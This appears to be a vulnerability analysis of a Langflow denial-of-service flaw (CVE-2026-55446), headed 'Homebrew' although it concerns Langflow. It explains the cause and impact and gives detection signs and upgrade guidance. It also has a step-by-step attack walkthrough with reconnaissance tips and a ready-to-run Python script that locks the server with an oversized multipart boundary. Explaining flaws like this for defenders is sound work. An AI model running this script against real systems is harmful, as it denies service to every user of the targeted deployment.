CVE-2026-55446: 
Homebrew vulnerability analysis and mitigation

CVE-2026-55446 is an unauthenticated Denial of Service (DoS) vulnerability in Langflow, a tool for building and deploying AI-powered agents and workflows. An unauthenticated attacker can send a crafted POST request to the /api/v1/files/upload/ endpoint with an excessively long multipart form boundary (e.g., 1,000,000+ hyphens), causing the application to become completely unusable for all users indefinitely. All Langflow versions prior to 1.0.19 are affected. The vulnerability was published on June 19, 2026, and carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, Langflow Advisory).

The root cause is Uncontrolled Resource Consumption (CWE-400) in the file upload handler located at src/backend/base/langflow/api/v1/files.py (line 40 in v1.0.18). The function attempts to parse multipart form data — including malformed payloads with extremely large boundaries — before performing any authentication check, meaning the server exhausts resources processing the oversized boundary string. Critically, the attacker does not need a valid flow UUID; any arbitrary value in the flow ID field triggers the same processing path. A public PoC using Python's requests library demonstrates the attack by appending 1,000,000 hyphens to the closing multipart boundary, locking the server in a "busy" state (Langflow Advisory).

Successful exploitation renders the entire Langflow application unavailable to all users for an indefinite period, as the server becomes stuck processing the malformed request. The attack has no impact on confidentiality or data integrity, but the availability impact is complete — all legitimate users are denied service until the application is restarted or the vulnerability is remediated. Because the attack is unauthenticated, automatable, and repeatable, a single attacker can sustain the denial of service continuously without any credentials or prior knowledge of the target environment (Langflow Advisory, GitHub Advisory).

A public proof-of-concept exploit is available in the official GitHub security advisory, including a ready-to-use Python script targeting a live Langflow instance. The NVD SSVC assessment classifies the vulnerability as automatable with a PoC exploit status. There is no current evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.32% (24th percentile), indicating a relatively low but non-negligible probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Langflow Advisory, GitHub Advisory).

1. Reconnaissance: Identify internet-facing Langflow instances (default port 7860) using tools like Shodan or Censys, or target known internal deployments running versions prior to 1.0.19.
2. Craft malicious request: Construct a multipart/form-data POST request to /api/v1/files/upload/<any_value> (e.g., /api/v1/files/upload/test) — no valid flow UUID or authentication token is required.
3. Inject oversized boundary: Set the Content-Type header to include a standard-looking multipart boundary, then append 1,000,000 or more hyphen characters (-) to the closing boundary delimiter in the request body.
4. Send the request: Transmit the crafted request using a tool such as Python's requests library or Burp Suite. Example Python payload:

import requests
url = "http://<target>:7860/api/v1/files/upload/test"
headers = {"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"}
data = (
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
    "Content-Type: text/plain\r\n\r\n"
    "DoS in progress\r\n"
    "-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)

5. Sustain the DoS: Repeat the request continuously to keep the server in a "busy" state, preventing all legitimate users from accessing the application (Langflow Advisory).

• Network: Repeated POST requests to /api/v1/files/upload/<any_value> from the same or rotating source IPs; requests with Content-Length values in the range of several megabytes (e.g., ~3,000,000 bytes) targeting port 7860; Content-Type headers containing abnormally long boundary strings.
• Logs: Langflow access logs showing high-volume or sustained POST requests to the file upload endpoint without valid authentication headers or cookies; server logs indicating the application entering a persistent "busy" or unresponsive state.
• Process: Langflow server process exhibiting sustained high CPU or memory utilization without corresponding legitimate user activity; worker threads blocked on multipart form parsing for extended periods.
• Application Behavior: All users experiencing "server is busy" errors or timeouts across the Langflow UI simultaneously, with no recovery until the service is restarted (Langflow Advisory).

Upgrade Langflow to version 1.0.19 or later, which introduces a check_boundary HTTP middleware that validates multipart boundaries against the regex ^[\w\-]{1,70}$ and rejects malformed requests with HTTP 422 before the body is parsed. Version 1.0.19 also adds authentication and flow-ownership checks (get_current_active_user + 403 on mismatch) to the upload endpoint, closing the unauthenticated access vector. As a temporary workaround while upgrades are pending, implement network-level rate limiting or request size restrictions on the /api/v1/files/upload/ endpoint, and consider blocking unauthenticated access to this endpoint at the reverse proxy or WAF layer (Langflow Advisory, Fix PR).